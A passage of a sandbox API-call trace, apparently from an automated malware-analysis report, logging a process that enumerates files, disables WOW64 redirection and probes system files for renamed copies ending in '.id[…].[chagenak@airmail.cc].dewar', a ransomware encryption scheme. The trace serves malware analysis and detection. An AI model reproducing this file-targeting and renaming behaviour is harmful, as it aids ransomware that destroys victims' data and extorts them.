(hEvent=0x118) returned 1 [0282.927] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.463] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0283.463] ResetEvent (hEvent=0x118) returned 1 [0283.463] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.497] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0283.497] ResetEvent (hEvent=0x118) returned 1 [0283.497] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.765] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0283.765] ResetEvent (hEvent=0x118) returned 1 [0283.765] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.787] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0283.787] ResetEvent (hEvent=0x118) returned 1 [0283.787] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.811] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0283.811] ResetEvent (hEvent=0x118) returned 1 [0283.812] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.827] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0283.827] ResetEvent (hEvent=0x118) returned 1 [0283.827] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0283.837] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0283.837] ResetEvent (hEvent=0x118) returned 1 [0283.838] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.328] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0284.328] ResetEvent (hEvent=0x118) returned 1 [0284.328] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.347] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0284.348] ResetEvent (hEvent=0x118) returned 1 [0284.348] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.369] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0284.369] ResetEvent (hEvent=0x118) returned 1 [0284.369] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.413] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0284.413] ResetEvent (hEvent=0x118) returned 1 [0284.413] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.453] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0284.453] ResetEvent (hEvent=0x118) returned 1 [0284.453] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.483] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0284.484] ResetEvent (hEvent=0x118) returned 1 [0284.484] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.501] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0284.502] ResetEvent (hEvent=0x118) returned 1 [0284.502] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.726] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0284.726] ResetEvent (hEvent=0x118) returned 1 [0284.727] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0284.741] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0284.742] ResetEvent (hEvent=0x118) returned 1 [0284.742] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0285.325] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0285.325] ResetEvent (hEvent=0x118) returned 1 [0285.326] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0285.654] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0285.654] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0285.655] ResetEvent (hEvent=0x118) returned 1 [0285.655] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.197] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0286.197] ResetEvent (hEvent=0x118) returned 1 [0286.197] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.216] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0286.216] ResetEvent (hEvent=0x118) returned 1 [0286.216] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.234] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0286.235] ResetEvent (hEvent=0x118) returned 1 [0286.235] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.512] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0286.512] ResetEvent (hEvent=0x118) returned 1 [0286.512] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.526] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0286.526] ResetEvent (hEvent=0x118) returned 1 [0286.527] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.584] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0286.584] ResetEvent (hEvent=0x118) returned 1 [0286.585] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.615] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0286.616] ResetEvent (hEvent=0x118) returned 1 [0286.616] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.801] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0286.801] ResetEvent (hEvent=0x118) returned 1 [0286.802] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0286.855] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0286.857] ResetEvent (hEvent=0x118) returned 1 [0286.857] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0287.322] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0287.322] ResetEvent (hEvent=0x118) returned 1 [0287.322] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0287.379] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0287.379] ResetEvent (hEvent=0x118) returned 1 [0287.379] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) Thread: id = 52 os_tid = 0x66c [0208.240] GetProcessHeap () returned 0x560000 [0208.241] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5ec588 [0208.243] GetProcessHeap () returned 0x560000 [0208.243] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5fc590 [0208.244] GetProcessHeap () returned 0x560000 [0208.244] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x597928 [0208.244] GetProcessHeap () returned 0x560000 [0208.244] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x110102) returned 0x31a0020 [0208.245] GetProcessHeap () returned 0x560000 [0208.245] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x599090 [0208.245] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0208.245] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0208.245] Wow64DisableWow64FsRedirection (in: OldValue=0x2eefef4 | out: OldValue=0x2eefef4*=0x0) returned 1 [0208.245] GetProcessHeap () returned 0x560000 [0208.245] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599090 | out: hHeap=0x560000) returned 1 [0208.246] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0208.247] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=129) returned 1 [0208.247] CloseHandle (hObject=0x16c) returned 1 [0208.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0208.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0208.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0x26 [0208.263] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.901] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=0) returned 1 [0213.901] CloseHandle (hObject=0x1ac) returned 1 [0213.901] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.902] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=89168) returned 1 [0213.902] CloseHandle (hObject=0x1ac) returned 1 [0213.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0213.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0213.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.903] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.905] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.906] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=87616) returned 1 [0213.906] CloseHandle (hObject=0x1ac) returned 1 [0213.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0213.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0213.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.906] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.907] CreateFileW 